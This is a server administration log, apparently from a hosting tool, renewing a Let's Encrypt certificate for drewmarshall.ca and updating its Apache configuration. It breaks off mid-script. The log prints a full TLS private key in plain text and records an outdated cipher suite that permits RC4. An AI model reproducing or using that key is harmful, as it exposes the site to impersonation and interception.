MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-26 15:27:00: Establishing a connection
2026-02-26 15:27:00: Establishing a connection
2026-02-26 15:27:00: 

PUT: /tmp/pkp829213

#!/bin/bash
if [ -d "/var/www/drewmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-26 15:27:00: 

chmod 755 /tmp/pkp829213; /tmp/pkp829213; rm /tmp/pkp829213

2026-02-26 15:27:00: 


1


2026-02-26 15:27:01: Establishing a connection
2026-02-26 15:27:01: 

PUT: /tmp/pkp406714

#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cat > 5_HkVSirYCGfEw6YDKGjoWpHXvlBa50Y-dQEMfXd3ng <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5_HkVSirYCGfEw6YDKGjoWpHXvlBa50Y-dQEMfXd3ng.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5_HkVSirYCGfEw6YDKGjoWpHXvlBa50Y-dQEMfXd3ng
cat > 9vB5-WdwjXop9mNpas4Zu6OgmcaW319hbtv32Qjj7rY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9vB5-WdwjXop9mNpas4Zu6OgmcaW319hbtv32Qjj7rY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9vB5-WdwjXop9mNpas4Zu6OgmcaW319hbtv32Qjj7rY


2026-02-26 15:27:02: 

chmod 755 /tmp/pkp406714; /tmp/pkp406714; rm /tmp/pkp406714

2026-02-26 15:27:02: 




2026-02-26 15:27:12: Establishing a connection
2026-02-26 15:27:13: 

PUT: /tmp/pkp607964

#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
rm 5_HkVSirYCGfEw6YDKGjoWpHXvlBa50Y-dQEMfXd3ng
rm 9vB5-WdwjXop9mNpas4Zu6OgmcaW319hbtv32Qjj7rY


2026-02-26 15:27:13: 

chmod 755 /tmp/pkp607964; /tmp/pkp607964; rm /tmp/pkp607964

2026-02-26 15:27:13: 




2026-02-26 15:27:13: Establishing a connection
2026-02-26 15:27:13: 

PUT: /tmp/pkp733248

#!/bin/bash
temp_file=$(mktemp)
TARGET=2c3c17c005831b4a6e867c2d7a99a9f3.crt

cat > $temp_file <<'endmsg'
19:00:f8:97:da:2a:11:2c:9c:d1:5e:00:34:15:fc:28

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBjn9aYVfCJSlc1bcwTpbcW+2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjI2MTQyODQxWhcNMjYwNTI3MTQyODQwWjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDXivhKd6tpcamVsZ//pMruYDcfx4IkZ5azPfLfLxasf9i6W0GGCHA9aSkRSHz3
M2tbEsEdmEXiNmh1V/VF4sPWCcWl9AmMIr/LRPglia1eZ/QFuJ82TjapgRmnbf86
O/9N/eR7ORhS8H+4jBeSN8uMfeHmi7HnbrYvuQaYFLrudYzSf52yDdRAJ7NbgvNT
+w8DUQBHbm6sPRXtiuKhJYHgnWmyMgLmy3c7VK2uxGJQzNTpgab0a6BN1yCBsbd9
+B/pKY4F1561sPiTrmNemtIYmyf9howYzPafQ4iDI1OorKSUhmFj0MQSGuL9+qdj
EuBMjar62PH4GfCLY1NUkWjZAgMBAAGjggIxMIICLTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUlids
dHzqACRsUM1QIVJLG4HCeYgwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9kcmV3bWFyc2hhbGwuY2GCE3d3dy5kcmV3bWFy
c2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3IxMy5jLmxlbmNyLm9yZy81NS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAdgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZyaj6hU
AAAEAwBHMEUCIQDuej4W67eFBryp0p/mNnFutXnOJ56C9ogJm80Re1x/2AIgSYDz
fgCgXAlmwliYOGgsjzaWUHfQ+q1KPyD4DBQLbb4AfQClyXiSXVdGF4KHDdiJZgtc
VWSLfQBA8uwHaFHRiGkZ9wAAAZyaj6mdAAgAAAUAM4TeBwQDAEYwRAIgccmtF5jv
+M8CbHWJ/2Xn3jCLxfFYWLgv4uLhSYzpGq8CIEEot19H6VB+dlWNBxA9iMQV33SG
w3Gd/ktCq3x5NHr5MA0GCSqGSIb3DQEBCwUAA4IBAQAtD8fJxg2XRzEPDuR6u8jB
8hywUIkblXKHDVLj/DLG5m5wsp12OoZ/kTNVJfQ1JWvljG5tvYx8wvINzrD/0nnW
1fuDZCaGYJSedlumrYvxh1mJX+TwpPBQ6xm01/zEttvQkVvOc5+F5Q3dQedn+A97
zrTG4ubm7xteTTS3+wj0CfQnFBofXqV7nr1AQeFcGQmLnpuIIoaHxAjeQvlnQDJQ
aRxLwVlBtC96MvjqMK6HioNdU9DaIe/O1EmqT4Fh82HYlTxFH9z9Wrg+aA+WvC3Z
28OUB6wGpvi4cFRlG6qyuUCQAsKClFU0vE9aldqp6NUoTvFrixY0eVzJe9ZlBF5M
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDXivhKd6tpcamV
sZ//pMruYDcfx4IkZ5azPfLfLxasf9i6W0GGCHA9aSkRSHz3M2tbEsEdmEXiNmh1
V/VF4sPWCcWl9AmMIr/LRPglia1eZ/QFuJ82TjapgRmnbf86O/9N/eR7ORhS8H+4
jBeSN8uMfeHmi7HnbrYvuQaYFLrudYzSf52yDdRAJ7NbgvNT+w8DUQBHbm6sPRXt
iuKhJYHgnWmyMgLmy3c7VK2uxGJQzNTpgab0a6BN1yCBsbd9+B/pKY4F1561sPiT
rmNemtIYmyf9howYzPafQ4iDI1OorKSUhmFj0MQSGuL9+qdjEuBMjar62PH4GfCL
Y1NUkWjZAgMBAAECggEAMafIT4+GI8KVqPDExWY3gfcUe/PAXZantx9cZmI4vQCu
8y+2xqQHB37EgUDL2T81SkPlzWWZI+YY5n+e97yoFRUnPXYdBPW0baWz7SHsmMUm
CHNh6mbWXPJq8JF8rPPJezQ0gNbEbccOBXvwqjTEZddSRYSFNaXhvtjHVh3gerKZ
ZKVrw5BKYSngXn11B8sioLjYCRpGjUir0JwliVq1v1djEd7DDuZmoZ++F5qBV6gy
fLSPswIyQCcDlHxWap2k3rpbGtq08o9K75UkXo9dXGfdSeq/0BOruYWxSV6RYPSI
UYdU97mFMap9AkRnPC0iYS1zyJ5yLX4GSEGYEzoFoQKBgQD/WKvaGCzlXg/+vXek
LhdJ1y7rCsXe35g7c/mlw5t4Ev5PXQhtpCUroWT6VJpgG8O1puDbV14ze+0LjM+o
X3Fmjbptlj3M4ZzWbr0RpXH3MSW5aduvalJQZlzQJDOl6blz+odnS3Q/i7b0DXQC
+qqrUXC4JRxW6w2PKO0eVOOExQKBgQDYGDceXcCMYPPEWKE1FSJumRnDAHWzLUWT
nIfxhZoPVHgqSKbfDuAfcqBRZGUz2ewotNM/zXJB4brQOdO7pW0hHvLXxsHfcIJ0
+dbnHBWyP3BiX06XuZO2pjVzGuC1/pqXN7ESuynfL1ge4MRWD9K/krOaMDWfj/HD
c+T9vhedBQKBgQDIu6xdhyPELG3mlIu5RYKJSeBYZd+nlZ7XHhTjeyJ9AnFpcnlt
t9yAsB/xqxCw/SKdatLZm5UyY/m1WrzkYCOFu2UTQUjUB4iECgoYFTfCW6CMYeuR
usN68P2Fou/3PgXMZuaLDYYVboAk226X6PbCNwOlv4bHzYCbSlEdxx4VAQKBgCmV
B041li6tHVtD/slbJsQHe/iVJxDyfjf4YARuxAV9KJ5iWpIDp8cFZKok2oCOx63R
lfDqFLluuWcGKaMrIwPDk9FHstjPKptd1CemtNoW8QZM9q+lizITa6eZnXIH6zF8
CvvivhzvXFKcx8sTwmcQ0LSz4C2zIj+NFpxpLtwNAoGBAOqaV1wRJUXauhn8/ITo
yRxNIP6qWUkXTCtKB5wjGSGNiE+NZIy+xM6qZC1O+9gsKf3wiztHR+ySsg046yDO
zqYFcCsWeUlmqaopVtf0ZTDOtEGo9o2pbH+WLPAhg0wWYYNnqWRA2zMrtpW+tUF4
/nYa2k0JLFE2xc9Ah3HlUWux
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-26 15:27:13: 

chmod 755 /tmp/pkp733248; /tmp/pkp733248; rm /tmp/pkp733248

2026-02-26 15:27:13: 


dir=/etc/ssl/certs


2026-02-26 15:27:13: 

PUT: /tmp/pkp494935

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-26 15:27:13: 

chmod 755 /tmp/pkp494935; /tmp/pkp494935; rm /tmp/pkp494935

2026-02-26 15:27:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf 43

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-26 15:27:13: 

PUT: /tmp/pkp964263

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf= 1'
fi


2026-02-26 15:27:13: 

chmod 755 /tmp/pkp964263; /tmp/pkp964263; rm /tmp/pkp964263

2026-02-26 15:27:13: 




2026-02-26 15:27:13: 

PUT: /tmp/pkp943334

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-26 15:27:13: 

chmod 755 /tmp/pkp943334; /tmp/pkp943334; rm /tmp/pkp943334

2026-02-26 15:27:13: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-26 15:27:13: Establishing a connection
2026-02-26 15:27:13: 

PUT: /tmp/pkp624849

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-26 15:27:14: 

chmod 755 /tmp/pkp624849; /tmp/pkp624849; rm /tmp/pkp624849

2026-02-26 15:27:14: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-26 15:27:14: 

PUT: /tmp/pkp595787

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_www_ca.conf')

finally:
